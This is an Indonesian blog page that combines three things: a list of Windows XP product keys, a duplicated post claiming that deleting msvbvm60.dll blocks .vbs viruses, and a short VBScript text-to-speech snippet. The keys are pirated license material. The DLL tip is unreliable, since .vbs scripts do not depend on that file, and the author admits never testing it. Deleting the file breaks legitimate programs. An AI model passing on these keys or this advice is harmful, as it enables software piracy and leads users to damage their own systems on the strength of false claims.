- Windows XP SP1 (c) 2002 Microsoft SN : K2KB2-BDBGV-KP686-D8T7X-HDMQ8 CD NR : 9080
- Windows.XP.Professional.64.Bit.Edition Serial Number : C4FPJ-HQCGP-QD3XC-2JF34-FT8Y6 CD NR : 8104
- Microsoft Windows XP Corporate Edition CDKEY : FCKGW-RHQQ2-YXRKT-8TG6W-2B7Q8 CD NR : 7832
- Windows XP Greece SN : MHBCT-6WVKJ-WD3Q3-9D9VJ-C9JJ6 CD NR : 7800
- Windows XP Corporate Edition *PROPER PACK* FCKGW-RHQQ2-YXRKT-8TG6W-2B7Q8 6580
- Microsoft Windows XP Professional No Activation Required FCKGW-RHQQ2-YXRKT-8TG6W-2B7Q8 6572.
Cara Aman dari Virus.vbs
Sering sekali kita dibuat kesal karena virus yang berekstensi .vbs seperti yang sudah banyak kita ketahui (gak usah disebutin satu-satu ya…) dengan mudah masuk ke sistem kita. Jumlahnya pun tidak tanggung-tanggung, sekitar ribuan virus yang berekstensi .vbs telah beraksi di Indonesia.
Hal ini karena telah banyak beredarnya virus maker atau fast firus engine yang bisa kita download dengan mudah dimanapun kita search di browser tools seperti google. Bukan hanya itu saja, masih banyak software pembuat virus yang kini sudah bisa kita temukan dengan mudah. Beserta tips-tips yang memudahkan kita untuk membuat virus dalam hitungan menit dan hasilnya kebanyakan adalah berekstensikan .vbs karena biasanya dibuat oleh visual basic.
Nah, gue punya cara yang gue dapet dari sohib gue (Andira Mutakkim) yang jujur saja belum pernah gue coba.
Bisa lu coba dan kasih komen ke gue kalo berhasil atau gagal. Mungkin gue bisa mencari solusinya jika ternyata triks ini tidak berjalan lancar.
caranya adalah dengan menonaktifkan file msvbvm60.dll atau msvbvm50.dll dan sejenisnya.
Lalu gimana?
GAMPANG
1. search file msvbvm60.dll di c:windows atau cari saja di c:
2. rename atau delete file tersebut (tapi Anda harus dalam keadaan safe mode apabila sulit mengubah file msvbvm60.dll ini dalam keadaan normal windows).
3. setelah itu restart
Maka virus yang khusus dibuat visual basic tidak akan bekerja meskipun Anda dengan sengaja memasukkannya. Tapi resikonya adalah, Anda tidak bisa menggunakan aplikasi berbasis Visual Basic.
cara safe mode : restart komputer-tekan f8 saat hampir masuk ke loading windows-kemudian akan muncul tampilan tawaran yang Anda inginkan-setelah itu pilih saja safe mode.
BISA DI COBA.
tolong kasih komen kalo udah sukses
bunuh virus dgn non aktfkn msvbvm60.dll :
cari file msvbvm60.dll di c:windows – trus rename atau delete (sebagai safe mode jika tidak bisa dilakukan)-restart
Hal ini karena telah banyak beredarnya virus maker atau fast firus engine yang bisa kita download dengan mudah dimanapun kita search di browser tools seperti google. Bukan hanya itu saja, masih banyak software pembuat virus yang kini sudah bisa kita temukan dengan mudah. Beserta tips-tips yang memudahkan kita untuk membuat virus dalam hitungan menit dan hasilnya kebanyakan adalah berekstensikan .vbs karena biasanya dibuat oleh visual basic.
Nah, gue punya cara yang gue dapet dari sohib gue (Andira Mutakkim) yang jujur saja belum pernah gue coba.
Bisa lu coba dan kasih komen ke gue kalo berhasil atau gagal. Mungkin gue bisa mencari solusinya jika ternyata triks ini tidak berjalan lancar.
caranya adalah dengan menonaktifkan file msvbvm60.dll atau msvbvm50.dll dan sejenisnya.
Lalu gimana?
GAMPANG
1. search file msvbvm60.dll di c:windows atau cari saja di c:
2. rename atau delete file tersebut (tapi Anda harus dalam keadaan safe mode apabila sulit mengubah file msvbvm60.dll ini dalam keadaan normal windows).
3. setelah itu restart
Maka virus yang khusus dibuat visual basic tidak akan bekerja meskipun Anda dengan sengaja memasukkannya. Tapi resikonya adalah, Anda tidak bisa menggunakan aplikasi berbasis Visual Basic.
cara safe mode : restart komputer-tekan f8 saat hampir masuk ke loading windows-kemudian akan muncul tampilan tawaran yang Anda inginkan-setelah itu pilih saja safe mode.
BISA DI COBA.
tolong kasih komen kalo udah sukses
bunuh virus dgn non aktfkn msvbvm60.dll :
cari file msvbvm60.dll di c:windows – trus rename atau delete (sebagai safe mode jika tidak bisa dilakukan)-restart
Membuat Komputer kita Bisa Bicara
Tips Membuat Komputer Kita Berbicara
Penasaran nggak sob dengan judul Tips Membuat Komputer Kita Berbicara?? pasti penasaran kan?? Emang komputer bisa berbicara?? Dibilang nggak ya nggak dibilang bisa ya bisa, aduhhh, gimana sih?? jadi bingung ni. Oke, kalau binGung mendingan kita coba praktikan aja, biar lebih mudeng.
Coba sekarang anda klik 2x.. Gimana?? keren kan?? hehe
Dim msg, sapi
msg = InputBox ( "Apa yang Anda ingin saya katakan?", "Masukan kata-kata")
Set sapi = CreateObject ( "sapi.spvoice")
sapi.Speak msg
Langganan:
Postingan (Atom)
